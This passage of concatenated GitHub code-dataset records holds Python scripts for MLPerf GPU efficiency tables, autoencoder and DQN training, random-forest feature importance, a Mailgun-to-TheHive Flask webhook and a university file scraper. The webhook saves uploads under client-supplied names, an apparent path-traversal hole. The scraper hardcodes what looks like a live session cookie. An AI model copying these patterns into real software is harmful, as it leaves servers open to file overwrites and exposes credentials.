quote","repo_name":"JeromeMoreau/pyTrading2","sub_path":"broker/data_handlers/CSV_data_handler.py","file_name":"CSV_data_handler.py","file_ext":"py","file_size_in_byte":6630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"4898622149","text":"import upcycle as U\nimport numpy as np\nimport pandas as pd\n\ndef train_data(name, stats : U.nvdb.NvidiaAppStats):\n peak = U.nvdb.a100_peak[stats.train_dtype]\n app_flops = U.apps.mlperf_v1_apps[name].train_flops\n\n large_perf = stats.train_large_perf\n large_eff = np.round(large_perf * app_flops / peak * 100, 2)\n\n if stats.train_small_perf is not None:\n small_perf = stats.train_small_perf\n small_eff = np.round(small_perf * app_flops / peak * 100, 2)\n else:\n small_perf = None\n small_eff = None\n\n return name, np.round(app_flops / 1e9, 2), large_perf, large_eff, small_perf, small_eff\n\n\ndef infer_data(name, stats : U.nvdb.NvidiaAppStats):\n peak = U.nvdb.a100_peak[stats.infer_dtype]\n app_flops = U.apps.mlperf_v1_apps[name].infer_flops\n\n on_perf = stats.infer_online_perf\n on_eff = np.round(on_perf * app_flops / peak * 100, 2)\n\n off_perf = stats.infer_offline_perf\n off_eff = np.round(off_perf * app_flops / peak * 100, 2)\n\n return name, np.round(app_flops / 1e9, 2), on_perf, on_eff, off_perf, off_eff\n\nidata = {\n infer_data(name, stats)\n for name, stats in U.nvdb.a100_perf.items()\n if stats.infer_online_perf is not None\n}\n\ninfer_dframe = pd.DataFrame({\n 'Name': [d[0] for d in idata],\n 'GOPs': [d[1] for d in idata],\n 'On. Perf.': [d[2] for d in idata],\n 'On. Eff. (%)': [d[3] for d in idata],\n 'Off. Perf.': [d[4] for d in idata],\n 'Off. Eff. (%)': [d[5] for d in idata]\n})\n\ntdata = {\n train_data(name, stats)\n for name, stats in U.nvdb.a100_perf.items()\n if stats.train_large_perf is not None\n}\n\ntrain_dframe = pd.DataFrame({\n 'Name': [d[0] for d in tdata],\n 'GOPs': [d[1] for d in tdata],\n 'Small Perf.': [d[4] for d in tdata],\n 'Small Eff. (%)': [d[5] for d in tdata],\n 'Large Perf.': [d[2] for d in tdata],\n 'Large Eff. (%)': [d[3] for d in tdata],\n})\n\nprint('Inference Data:')\nprint(infer_dframe)\nprint()\nprint('Training Data:')\nprint(train_dframe)\nprint()\n\n# print(infer_dframe.style.to_latex())\n","repo_name":"VerticalResearchGroup/upcycle","sub_path":"test/nvdata.py","file_name":"nvdata.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"19850675286","text":"\nfrom preprocessing.preprocessing import PreProcessing\nfrom model_exec.learning import Learning\n\nfrom model.simple_autoencoder import SimpleAutoencoder\nfrom model_exec.config import Config\n\ndate_size = 60000\ntest_size = 10000\n\n\ndef main():\n autoencoder = SimpleAutoencoder.make_model()\n cbs = SimpleAutoencoder.set_callbacks(\"autoencoder.hdf5\")\n\n train_x, train_y = PreProcessing().make_train_data(date_size)\n test_x, test_y = PreProcessing().make_train_data(test_size)\n hist = Learning.run_with_test(\n autoencoder, train_x, train_y, test_x, test_y, cbs)\n\n # SimpleAutoencoder.save_model(autoencoder, \"autoencoder.hdf5\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"if001/cnn_autoencoder","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"6202699276","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport requests\nimport json\nimport os\nimport time\nimport uuid\nimport logging\nfrom thehive4py.api import TheHiveApi\nfrom thehive4py.models import Alert, AlertArtifact, CustomFieldHelper\nfrom flask import Flask, Response, render_template, request, flash, redirect, url_for\nfrom config import Config\n\napp = Flask(__name__)\napp.config.from_object(Config)\n\n@app.route('/create_alert', methods=['POST'])\ndef create_alert():\n\n # Get request data\n body = request.form.get('body-plain')\n headers = request.form.get('message-headers')\n subject = request.form.get('subject')\n sender = request.form.get('sender')\n recipient = request.form.get('recipient')\n\n # Configure logging\n logging.basicConfig(filename=app.config['LOG_FILE'], filemode='a', format='%(asctime)s - mailgun2thehive - %(levelname)s - %(message)s', level=logging.INFO)\n logging.info(json.dumps(subject))\n\n # Configure API\n api = TheHiveApi(app.config['HIVE_URL'], app.config['API_KEY'])\n\n # Configure artifacts\n artifacts = []\n\n # Get attachments, if any\n for key in request.files:\n file = request.files[key]\n logging.info(key)\n\n file.save(key)\n artifacts.append(AlertArtifact(dataType='file', tags=[key], data=key))\n\n # Tags list\n tags=['mailgun']\n\n # Prepare alert\n sourceRef = str(uuid.uuid4())[0:6]\n alert = Alert(title=\"Mailgun - \" + sender + \" - \" + subject,\n tlp=2,\n tags=tags,\n description=\"**Email body:**\\n\\n\"+body+\"\\n\\n**Message Headers:**\\n\\n\"+headers,\n type='external',\n source='mailgun',\n artifacts=artifacts,\n sourceRef=sourceRef)\n\n # Create the alert\n print('Create Alert')\n print('-----------------------------')\n id = None\n response = api.create_alert(alert)\n if response.status_code == 201:\n logging.info(json.dumps(response.json(), indent=4, sort_keys=True))\n print(json.dumps(response.json(), indent=4, sort_keys=True))\n print('')\n id = response.json()['id']\n else:\n print('ko: {}/{}'.format(response.status_code, response.text))\n sys.exit(0)\n\n # Delete attachments, if any\n for key in request.files:\n os.remove(key)\n\n # Return\n return \"Hive Alert Created\"\n","repo_name":"ReconInfoSec/mailgun2thehive","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"24"} +{"seq_id":"43005162242","text":"#!/usr/bin/env python\n# coding: utf-8\n'''\n### Extract feature importance random forest models for ChenOoi2023_ICCW\nThis python script contains scripts to extract feature importance from\nthe random forest models in ChenOoi2023_ICCW.\n\n### Prerequisites\nThis code assumes that you have:\n1. Already finishing training the models and saved them in a .sav format\nThis code imports the saved model from the .sav format.\n\nWritten by Leon Ooi and CBIG under MIT license:\nhttps://github.com/ThomasYeoLab/CBIG/blob/master/LICENSE.md\n'''\n\n########################################################\n# import packages\n########################################################\nfrom datetime import datetime\nfrom sklearn.tree import export_text\nfrom sklearn.utils import check_random_state\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_squared_error\nimport numpy as np\nimport pandas as pd\nimport scipy.io as sio\nimport pickle\nimport sys\nimport os\n\n########################################################\n# initialize paths and inputs\n########################################################\n# required inputs\nfold_num = int(sys.argv[1])\nbehav_num = int(sys.argv[2])\ncurr_sample = int(sys.argv[3])\nresults_dir = sys.argv[4]\n\n# define output and input directories: MODIFY HERE IF NEEDED\nkrr_dir = results_dir + '/KRR/'\noutput_dir = results_dir + '/RF/'\nfc_csv = os.getenv('CBIG_REPDATA_DIR') + \\\n '/stable_projects/predict_phenotypes' + '/ChenOoi2023_ICCW/input' \\\n + '/ICCW_5260_FC.csv'\n\n# custom paths to required folders in krr_dir\ny_regressed = krr_dir + str(curr_sample) + '/y/fold_' + str(\n fold_num) + '/y_regress_all_score.mat'\nfolds = krr_dir + str(curr_sample) + '/no_relative_5_fold_sub_list.mat'\n\n# create output folder\noutput_folder = 'behav_' + str(behav_num) + '/rng0/' + 'fold_' + str(fold_num)\noutput_path = os.path.join(output_dir, str(curr_sample), output_folder)\nif not os.path.exists(output_path):\n os.makedirs(output_path)\n\n# print inputs for reference in log file\nprint(\"---------------------\")\nprint(\"fold_num:\" + str(fold_num))\nprint(\"behav_num:\" + str(behav_num))\nprint(\"curr_sample:\" + str(curr_sample))\nprint(\"Generating results in:\" + output_dir)\nprint(\"---------------------\")\n\n\n########################################################\n# initialize functions for analysis\n########################################################\n# function to get bootstrap samples from RF tree\ndef _generate_sample_indices(random_state, n_samples):\n \"\"\"\n This function regenerates the indices that were sampled\n given a specified random state\n \"\"\"\n random_instance = check_random_state(random_state)\n sample_indices = random_instance.randint(0, n_samples, n_samples)\n\n return sample_indices\n\n\ndef _generate_unsampled_indices(random_state, n_samples):\n \"\"\"\n This function regenerates the indices that were left out\n given a specified random state\n \"\"\"\n sample_indices = _generate_sample_indices(random_state, n_samples)\n sample_counts = np.bincount(sample_indices, minlength=n_samples)\n unsampled_mask = sample_counts == 0\n indices_range = np.arange(n_samples)\n unsampled_indices = indices_range[unsampled_mask]\n\n return unsampled_indices\n\n\n########################################################\n# start processing\n########################################################\n# load files\nprint(\"Load files...\")\nfold_y = sio.loadmat(y_regressed)\nall_fold = sio.loadmat(folds)\n\n# get variables from files\nbehav_num_tmp = behav_num\ncurr_y = fold_y['y_resid'][:, (behav_num_tmp - 1)]\n\n# pad array to full size\nmissing_vals = 5260 - len(curr_y)\ncurr_y = np.pad(curr_y, (0, missing_vals))\nfc = pd.read_csv(fc_csv)\n\n# get fold subjects\ntrain_idx = [bool(i) for i in all_fold['sub_fold'][fold_num - 1][0][1] == 0]\ntest_idx = [bool(i) for i in all_fold['sub_fold'][fold_num - 1][0][1] == 1]\n\n# normalize fc\nfc_norm = (fc - np.mean(fc, axis=0)) / np.std(fc, axis=0)\n\n# split into train and test\ntest_y = curr_y[test_idx]\ntrain_y = curr_y[train_idx]\ntest_X = fc_norm.iloc[test_idx, :]\ntrain_X = fc_norm.iloc[train_idx, :]\n\n# load model\nregr = pickle.load(\n open(output_path + '/ABCD_RF_behav_' + str(behav_num) + '.sav', 'rb'))\n\n# save predicted y\ny_pred = regr.predict(train_X)\n# save to csv\ny_pred_csv = pd.DataFrame(np.array(y_pred), columns=['y_pred'])\ny_pred_csv.to_csv(\n output_path + '/ABCD_RF_behav_' + str(behav_num) + '_ypred.csv',\n index=False)\n\n########################################################\n# start conditional feature importance extraction\n########################################################\n# setttings for ocndition permutation\nperm_amt = 5\ncorr_thresh = 0.1\n\n# initialize variables\nX_sample = train_X.to_numpy(dtype='float32')\nn_samples = train_X.shape[0]\nn_feats = train_X.shape[1]\nn_fivals = np.zeros((n_feats, 1))\n\n# extract permutation score for 3 metrics\nfivals_mse = np.zeros((n_feats, 1))\nfivals_r2 = np.zeros((n_feats, 1))\nfivals_corr = np.zeros((n_feats, 1))\n\n# start permutation\nprint(\"---------------------\")\nprint(\"Start permutation =\", datetime.now())\ne_count = 0\n# iterate over each tree\nfor estimator in regr.estimators_:\n e_count += 1\n print('\\t Estimator:' + str(e_count))\n unsampled_indices = _generate_unsampled_indices(estimator.random_state,\n n_samples)\n\n # get predictor boundaries\n f_idx = []\n thresh = []\n decision_rules = export_text(estimator)\n print(decision_rules)\n\n for line in decision_rules.split('\\n'):\n for substr in str.split(line):\n if \"feature\" in substr:\n feature_info = substr.split('_')\n f_idx.append(int(feature_info[1]))\n try:\n thresh.append(float(substr))\n except ValueError:\n pass\n\n # change into tuple\n fidx_thresh_pairs = list(zip(f_idx, thresh))\n uniq_pairs = list(set(fidx_thresh_pairs))\n\n # get OOB initial val\n p_estimator = estimator.predict(\n X_sample[unsampled_indices, :], check_input=False)\n p_estimator = p_estimator[:, np.newaxis]\n init_mse = mean_squared_error(train_y[unsampled_indices], p_estimator)\n init_r2 = r2_score(train_y[unsampled_indices], p_estimator)\n init_corr = np.corrcoef(train_y[unsampled_indices],\n np.squeeze(p_estimator))[0, 1]\n\n for feat, val in uniq_pairs: # ignore permutation within site\n feat_idx = feat\n perm_mse = np.zeros((perm_amt, 1))\n perm_r2 = np.zeros((perm_amt, 1))\n perm_corr = np.zeros((perm_amt, 1))\n\n # find number of groups to permute\n perm_dict = {}\n for idx in range(0, len(uniq_pairs)):\n check_feat_idx = uniq_pairs[idx][0]\n # check if same feature, skip if so\n if feat_idx == check_feat_idx:\n continue\n # check if correlation with other features passes threshold\n check_corr = np.corrcoef(X_sample[:, feat_idx],\n X_sample[:, check_feat_idx])[0, 1]\n if abs(check_corr) <= corr_thresh:\n continue\n else:\n # add to dictionary\n if str(check_feat_idx) not in perm_dict:\n perm_dict[str(check_feat_idx)] = []\n perm_dict[str(check_feat_idx)].append(uniq_pairs[idx][1])\n\n # check if permutation passes threshold\n for r_seed in range(0, perm_amt):\n Xk_perm = X_sample[unsampled_indices, :]\n g_indices = np.ones((Xk_perm.shape[0], 1))\n g_count = 1\n # randomly permute within each group\n if perm_dict:\n for item in perm_dict:\n g_count = g_count * (len(perm_dict[item]) + 1)\n # multiply by number of groups\n g_indices = g_indices * (len(perm_dict[item]) + 1)\n sorted_bounds = perm_dict[item]\n sorted_bounds.sort()\n for bound in sorted_bounds:\n # label groups with ascending index based on size\n g_indices[Xk_perm[:, int(item)] >= bound] -= 1\n\n # permute within groups\n g_indices = np.squeeze(g_indices)\n for g in range(1, g_count + 1):\n if np.sum(g_indices == g) < 5:\n print(\"Warning: Less than 5 samples!\")\n bef_perm_idx = np.where(g_indices == g)[0]\n af_perm_idx = np.random.RandomState(\n seed=r_seed).permutation(bef_perm_idx)\n Xk_perm[bef_perm_idx, feat_idx] = Xk_perm[af_perm_idx,\n feat_idx]\n\n # find accuracy\n p_estimator = estimator.predict(Xk_perm, check_input=False)\n p_estimator = p_estimator[:, np.newaxis]\n # save permuted feature importance metrics for each tree\n perm_mse[r_seed] = mean_squared_error(train_y[unsampled_indices],\n p_estimator)\n perm_r2[r_seed] = r2_score(train_y[unsampled_indices], p_estimator)\n perm_corr[r_seed] = np.corrcoef(train_y[unsampled_indices],\n np.squeeze(p_estimator))[0, 1]\n # compute final feature importance metric\n fivals_mse[feat_idx] += np.mean(perm_mse) - init_mse\n fivals_r2[feat_idx] += np.mean(perm_r2) - init_r2\n fivals_corr[feat_idx] += np.mean(perm_corr) - init_corr\n n_fivals[feat_idx] += 1\n# average values\nfivals_mse /= n_fivals\nfivals_r2 /= n_fivals\nfivals_corr /= n_fivals\n\n# set nan to zero\nfivals_mse[np.isnan(fivals_mse)] = 0\nfivals_r2[np.isnan(fivals_r2)] = 0\nfivals_corr[np.isnan(fivals_corr)] = 0\n\nprint(\"End permutation =\", datetime.now())\nprint(\"---------------------\")\n\n########################################################\n# extract Haufe feature importance\n########################################################\ndemean_y_pred = y_pred - np.mean(y_pred)\ndemean_X_train = train_X.to_numpy().T - np.mean(train_X)[:, np.newaxis]\n\nfivals_Haufe = np.dot(demean_X_train, demean_y_pred) / train_X.shape[0]\nfivals_Haufe = fivals_Haufe[:, np.newaxis]\n\n########################################################\n# save results to csv\n########################################################\n# save accuracy\nacc_csv = pd.DataFrame(\n np.array([\n np.corrcoef(regr.predict(test_X), test_y)[0, 1],\n r2_score(test_y, regr.predict(test_X))\n ])).T\nacc_csv.set_axis(['corr', 'COD'], axis=1, inplace=True)\nacc_csv.to_csv(\n output_path + '/ABCD_RF_behav_' + str(behav_num) + '_predacc.csv',\n index=False)\n# save feature importance\nfi_csv = pd.DataFrame(\n np.concatenate((fivals_mse, fivals_r2, fivals_corr, fivals_Haufe), axis=1),\n columns=['fi_mse', 'fi_r2', 'fi_corr', 'fi_Haufe'])\nfi_csv.to_csv(\n output_path + '/ABCD_RF_behav_' + str(behav_num) + '_fi.csv', index=False)\n","repo_name":"ThomasYeoLab/CBIG","sub_path":"stable_projects/predict_phenotypes/ChenOoi2023_ICCW/regression/RF/CBIG_ICCW_RF_interpretation.py","file_name":"CBIG_ICCW_RF_interpretation.py","file_ext":"py","file_size_in_byte":10988,"program_lang":"python","lang":"en","doc_type":"code","stars":513,"dataset":"github-code","pt":"24"} +{"seq_id":"8656544368","text":"import torch\nimport torch.nn.functional as f\nimport torch.optim as optim\nimport random, logging, os\nimport numpy as np\nfrom collections import namedtuple, deque\nfrom minatar import Environment\nfrom utils.Replay_Buffer import replay_buffer, prioritized_replay_buffer\nfrom utils.Agent_Nets import Q_ConvNet\nfrom tensorboardX import SummaryWriter\nimport argparse\nfrom tqdm import tqdm\nimport time\nfrom run_evaluation import Eval_after_Train\n\n\ntransition = namedtuple('transition', 'state, action, reward, next_state, done')\nparser = argparse.ArgumentParser(description='MinAtar')\nparser.add_argument('--id', type=str, default='DuelingDQN', help='Experiment ID')\nparser.add_argument('--seed', type=int, default=0, help='Random seed')\nparser.add_argument('--game', type=str, default='asterix', help='Game')\nparser.add_argument('--use-cuda', type=bool, default=True, help='Disable CUDA')\nparser.add_argument('--batch-size', type=int, default=32, metavar='SIZE', help='Batch size')\nparser.add_argument('--memory-capacity', type=int, default=int(1e5), metavar='CAPACITY', help='Experience replay memory capacity')\nparser.add_argument('--target-update', type=int, default=int(1e3), metavar='τ', help='Number of steps after which to update target network')\nparser.add_argument('--T-max', type=int, default=int(5e6), metavar='STEPS', help='Number of training steps')\nparser.add_argument('--first-n-frames', type=int, default=int(1e5), metavar='STEPS', help='Number of random')\nparser.add_argument('--learn-start', type=int, default=int(5e3), metavar='STEPS', help='Number of steps before starting training')\nparser.add_argument('--start-epsilon', type=float, default=1, metavar='STEPS', help='Start Epsilon')\nparser.add_argument('--end-epsilon', type=float, default=0.1, metavar='STEPS', help='End Epsilon')\nparser.add_argument('--learning-rate', type=float, default=0.00025, metavar='η', help='Learning rate')\nparser.add_argument('--grad-momentum', type=float, default=0.95, metavar='η', help='Adam')\nparser.add_argument('--squared-grad-momentum', type=float, default=0.95, metavar='η', help='Adam')\nparser.add_argument('--min-squared-grad', type=float, default=0.01, metavar='η', help='Adam')\nparser.add_argument('--gamma', type=float, default=0.99, metavar='γ', help='Discount factor')\n\nparser.add_argument('--double', type=bool, default=False, help='Double DQN')\nparser.add_argument('--dueling', type=bool, default=True, help='Dueling Network Architecture')\nparser.add_argument('--n-step', type=int, default=1, help='Multi-step DQN')\nparser.add_argument('--distributional', type=bool, default=False, help='Distributional DQN')\nparser.add_argument('--noisy', type=bool, default=False, help='Noisy DQN')\nparser.add_argument('--per', type=bool, default=False, help='Periorized Experience Replay')\n\nclass DQN_Agent():\n def __init__(self, args):\n self.args = args\n self.seed = args.seed\n random.seed(self.seed)\n np.random.seed(self.seed)\n torch.manual_seed(self.seed)\n if torch.backends.cudnn.enabled:\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n if torch.cuda.is_available() and args.use_cuda:\n args.device = torch.device('cuda')\n torch.cuda.manual_seed(np.random.randint(1, 10000))\n else:\n args.device = torch.device('cpu')\n self.results_dir = os.path.join('results/alg={}/env={},seed={}'.format(args.id, args.game, args.seed))\n if not os.path.exists(self.results_dir):\n os.makedirs(self.results_dir + '/saved_models')\n os.makedirs(self.results_dir + '/logs')\n self.writer = SummaryWriter(self.results_dir + '/logs')\n print(' ' * 26 + 'Options')\n self.options_file = open(self.results_dir + \"/options.txt\", \"w\")\n for k, v in vars(args).items():\n print(' ' * 26 + k + ': ' + str(v))\n self.options_file.write(k + ': ' + str(v) + '\\n')\n self.options_file.write(\"start time\" + ': ' + time.strftime('%Y-%m-%d-%H-%M-%S', time.localtime(time.time())) + '\\n')\n self.act_env = Environment(args.game)\n self.obs_dim = self.act_env.state_shape()[2]\n self.act_dim = self.act_env.num_actions()\n self.QValue_Net = Q_ConvNet(in_channels=self.obs_dim,\n num_actions=self.act_dim,\n dueling=args.dueling,\n noisy=args.noisy,\n distributional=args.distributional,\n atom_size=51,\n v_min=-10.0,\n v_max=10.0).to(args.device)\n\n self.Target_Net = Q_ConvNet(in_channels=self.obs_dim,\n num_actions=self.act_dim,\n dueling=args.dueling,\n noisy=args.noisy,\n distributional=args.distributional,\n atom_size=51,\n v_min=-10.0,\n v_max=10.0).to(args.device)\n\n self.Target_Net.load_state_dict(self.QValue_Net.state_dict())\n self.Target_Net.eval()\n self.Optimizer = optim.RMSprop(self.QValue_Net.parameters(), lr=args.learning_rate, alpha=args.squared_grad_momentum, centered=True, eps=args.min_squared_grad)\n if self.args.per == False:\n self.memory = replay_buffer(args.memory_capacity, self.get_state(self.act_env.state()).size(), args)\n else:\n self.memory = prioritized_replay_buffer(args.memory_capacity, self.get_state(self.act_env.state()).size(), args)\n self.prior_eps = 1e-6\n self.n_step_gamma = self.args.gamma ** self.args.n_step\n def get_state(self, s):\n return (torch.tensor(s, device=args.device).permute(2, 0, 1)).unsqueeze(0).float()\n def Train(self):\n train_start_time = time.time()\n avg_return = 0.0\n step = 0\n episode = 0\n QValueNet_update_counter = 0\n n_step_gamma_vector = [self.args.gamma ** i for i in range(self.args.n_step)]\n while step < self.args.T_max:\n # while step in tqdm(range(self.args.T_max)):\n score = 0.0\n self.act_env.reset()\n n_step_state_deque = deque(maxlen=self.args.n_step+1)\n n_step_action_deque = deque(maxlen=self.args.n_step)\n n_step_reward_deque = deque(maxlen=self.args.n_step)\n n_step_done_deque = deque(maxlen=self.args.n_step)\n state = self.get_state(self.act_env.state())\n n_step_state_deque.append(state)\n done = False\n while (not done) and step < self.args.T_max:\n next_state, action, reward, done = self.Interaction(step, state, self.act_env)\n n_step_state_deque.append(next_state)\n n_step_action_deque.append(action)\n n_step_reward_deque.append(reward)\n n_step_done_deque.append(done)\n if len(n_step_state_deque) == self.args.n_step+1:\n self.memory.store(n_step_state_deque[0].to(self.args.device),\n n_step_action_deque[0].unsqueeze(dim=0).to(self.args.device),\n torch.tensor([[np.sum(np.array(n_step_reward_deque)*np.array(n_step_gamma_vector))]]).to(self.args.device),\n n_step_state_deque[-1].to(self.args.device),\n n_step_done_deque[-1].to(self.args.device))\n if step > self.args.learn_start and self.memory.buffer_len >= self.args.batch_size:\n if self.args.per == False:\n sample = self.memory.sample(self.args.batch_size)\n Q_values = self.Learning(sample)\n else:\n sample, weight, indices = self.memory.sample(self.args.batch_size)\n Q_values = self.Learning(sample, weight, indices)\n QValueNet_update_counter += 1\n # Update the target network\n if QValueNet_update_counter > 0 and QValueNet_update_counter % self.args.target_update == 0:\n self.Target_Net.load_state_dict(self.QValue_Net.state_dict())\n score += reward.item()\n step += 1\n state = next_state\n if step % 10000 == 0:\n train_now_time = time.time()\n self.writer.add_scalar(\"Train/AVR_RETURN/STEP\", avg_return, global_step=step)\n self.writer.add_scalar(\"Train/Q_VALUE/STEP\", Q_values, global_step=step)\n print(\"[{}/{}]:[avg_return={},q_values={}]-estimate-{}min\".format(step, self.args.T_max, avg_return, Q_values, time.asctime(time.localtime(time.time()+(train_now_time-train_start_time)*(self.args.T_max/step-1)))))\n if step % 50000 == 0:\n torch.save(self.QValue_Net, self.results_dir + '/saved_models/training_step={}_checkpoint.pth'.format(step))\n print(\"[{}/{}]save checkpoint at {}\".format(step, self.args.T_max, self.results_dir + '/saved_models'))\n episode += 1\n avg_return = 0.99 * avg_return + 0.01 * score\n self.writer.close()\n self.options_file.write(\"start time\" + ': ' + time.strftime('%Y-%m-%d-%H-%M-%S', time.localtime(time.time())) + '\\n')\n self.options_file.close()\n Eval_after_Train(self.args)\n\n\n def Interaction(self, step, state, act_env):\n if self.args.noisy == False:\n if step < self.args.learn_start:\n action = torch.tensor([[random.randrange(self.act_dim)]], device=self.args.device)\n else:\n if step - self.args.learn_start >= self.args.first_n_frames:\n epsilon = self.args.end_epsilon\n else:\n epsilon = ((self.args.end_epsilon - self.args.start_epsilon) / self.args.first_n_frames) * (step - self.args.learn_start) + self.args.start_epsilon\n # epsilon greedy\n if np.random.binomial(1, epsilon) == 1:\n action = torch.tensor([[random.randrange(self.act_dim)]], device=self.args.device)\n else:\n with torch.no_grad():\n action = self.QValue_Net(state).max(1)[1].view(1, 1)\n else:\n with torch.no_grad():\n action = self.QValue_Net(state).max(1)[1].view(1, 1)\n reward, done = act_env.act(action)\n next_state = self.get_state(act_env.state())\n return next_state, action, torch.tensor([[reward]], device=self.args.device).float(), torch.tensor([[done]], device=self.args.device)\n\n def Learning(self, sample, weight=None, indices=None):\n states, actions, rewards, next_states, dones = sample\n states = states.squeeze(dim=1)\n actions = actions.squeeze(dim=1).long()\n rewards = rewards.squeeze(dim=1)\n next_states = next_states.squeeze(dim=1)\n dones = dones.squeeze(dim=1).bool()\n\n\n\n Q_s_a = self.QValue_Net(states).gather(1, actions)\n none_done_next_state_index = torch.tensor([i for i, is_term in enumerate(dones) if is_term == 0],\n dtype=torch.int64, device=self.args.device)\n none_done_next_states = next_states.index_select(0, none_done_next_state_index)\n Q_s_prime_a_prime = torch.zeros(self.args.batch_size, 1, device=self.args.device)\n if len(none_done_next_states) != 0:\n if self.args.double == False:\n Q_s_prime_a_prime[none_done_next_state_index] = self.Target_Net(none_done_next_states).detach().max(1)[\n 0].unsqueeze(1)\n else:\n policy_net_index = self.QValue_Net(none_done_next_states).argmax(1).unsqueeze(1)\n Q_s_prime_a_prime[none_done_next_state_index] = torch.gather(self.Target_Net(none_done_next_states), 1,\n policy_net_index).detach()\n target = rewards + self.n_step_gamma * Q_s_prime_a_prime\n # Huber loss\n if self.args.per == False:\n loss = f.smooth_l1_loss(target, Q_s_a)\n else:\n elementwise_loss = f.smooth_l1_loss(target, Q_s_a, reduction=\"none\")\n weight = torch.FloatTensor(weight.reshape(-1, 1)).to(self.args.device)\n loss = torch.mean(elementwise_loss * weight)\n # Zero gradients, backprop, update the weights of policy_net\n self.Optimizer.zero_grad()\n loss.backward()\n self.Optimizer.step()\n if self.args.per == True:\n loss_for_prior = elementwise_loss.detach().cpu().numpy()\n new_priorities = loss_for_prior + self.prior_eps\n self.memory.update_priorities(indices, new_priorities)\n if self.args.noisy == True:\n self.QValue_Net.reset_noisy()\n self.Target_Net.reset_noisy()\n return Q_s_a.mean().detach().cpu().numpy()\n\nif __name__ == '__main__':\n args = parser.parse_args()\n Agent = DQN_Agent(args)\n Agent.Train()\n","repo_name":"QINGYWuuu/MinAtar_DQNs","sub_path":"Implementation/DQN_Agent.py","file_name":"DQN_Agent.py","file_ext":"py","file_size_in_byte":13191,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"} +{"seq_id":"43129908499","text":"import os\nimport pathlib\nimport re\nfrom urllib.request import Request, urlopen\n\nfrom bs4 import BeautifulSoup as bs\n\n\ndef download_file(dir, url):\n file_name = url.split(\"/\")[-1]\n\n pathlib.Path(f\"./downloads/{dir}\").mkdir(parents=True, exist_ok=True)\n\n my_file = pathlib.Path(f\"./downloads/{dir}/\" + file_name)\n if my_file.is_file() or file_name.endswith(\"txt\"):\n print(f\"Skip: {file_name}\")\n else:\n print(f\"Download: {dir}/{file_name}\")\n try:\n filedata = urlopen(url)\n datatowrite = filedata.read()\n with open(f\"./downloads/{dir}/{file_name}\", \"wb\") as f:\n f.write(datatowrite)\n pass\n except:\n pass\n return\n\n\npathlib.Path(\"./downloads\").mkdir(parents=True, exist_ok=True)\n\nreq = Request(\"https://fsbio.rwth-aachen.de/service/downloads/fach/biotechnologie-msc\")\n\nreq.add_header(\"Cookie\", \"\")\nhtml_page = urlopen(req)\n\nsoup = bs(html_page)\n\n\nlinks = [\n link.get(\"href\")\n for link in soup.findAll(\n \"a\", attrs={\"href\": re.compile(\"^/service/downloads/fach/\")}\n )\n]\n\nfor link in links:\n req = Request(f\"https://fsbio.rwth-aachen.de{link}\")\n print(f\"https://fsbio.rwth-aachen.de{link}\")\n req.add_header(\n \"Cookie\",\n \"has_js=1; SESS9208fb201b178189fd366303dff7a5d6=rrgllcdssj2tsrvve9v8vqcl84\",\n )\n download_html_page = urlopen(req)\n soup = bs(download_html_page)\n\n file_list = soup.findAll(\n \"a\",\n attrs={\n \"href\": re.compile(\n \"^http://www.fsbio.rwth-aachen.de/sites/default/files/download_files/\"\n )\n },\n )\n for downloadLink in file_list:\n download_file(link.split(\"/\")[-1], downloadLink.get(\"href\"))\n","repo_name":"Domino987/FileDownload","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"27203039805","text":"fin = open(\"homework.in\", \"r\")\r\nfout = open(\"homework.out\", \"w\")\r\n\r\n'''\r\n1.)Read data\r\n2.)Create a maximumK list and a maximumaverage var\r\n3.)Create a for loop that:\r\n\ta.)Will slice the list of the first K values and remove the lowest value\r\n\tb.)Get the average of that list and compare it with maximumaverage\r\n\t\ti.)If equal to maximumaverage, append thr K value to the maximumK list\r\n\t\tii.)If greater than maximumaverage, clear maximumK list and append the new K value\r\n4.)Output all data in maximum K list to file\r\n\r\nNOTE: THIS SOLUTION WORKS< BUT NOT IN THE BOUNDS GIVEN\r\n'''\r\nnscores = int(fin.readline())\r\nscores = [int(e) for e in fin.readline().rstrip().split(' ')]\r\nmaxK, maxaverage = [], 0\r\n\r\ndef find_average(l):\r\n\treturn sum(l)/len(l)\r\n\r\nfor i in range(1, nscores-2):\r\n\tsliced_scores = scores[i:]\r\n\tsliced_scores.remove(min(sliced_scores))\r\n\taverage = find_average(sliced_scores)\r\n\tif(average == maxaverage):\r\n\t\tmaxK.append(i)\r\n\telif(average > maxaverage):\r\n\t\tmaxaverage = average\r\n\t\tmaxK = [i]\r\n\r\nfor k in maxK:\r\n\tfout.write(str(k) + \"\\n\")\r\nfout.close()\r\n","repo_name":"kjeelani/USACO-Problems","sub_path":"USACO_Python/homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"35119685590","text":"\r\nimport plotly.graph_objs as go\r\nfrom plotly import tools\r\nimport plotly.offline as py\r\n#import plotly.graph_objs as go\r\n#from plotly import tools\r\nimport plotly.tools as tls\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import svm, datasets\r\n\r\n\r\n# import some data to play with\r\niris = datasets.load_iris()\r\nX = iris.data[:, :2] # we only take the first two features. We could\r\n # avoid this ugly slicing by using a two-dim dataset\r\ny = iris.target\r\n\r\nh = .02 # step size in the mesh\r\n\r\n# we create an instance of SVM and fit 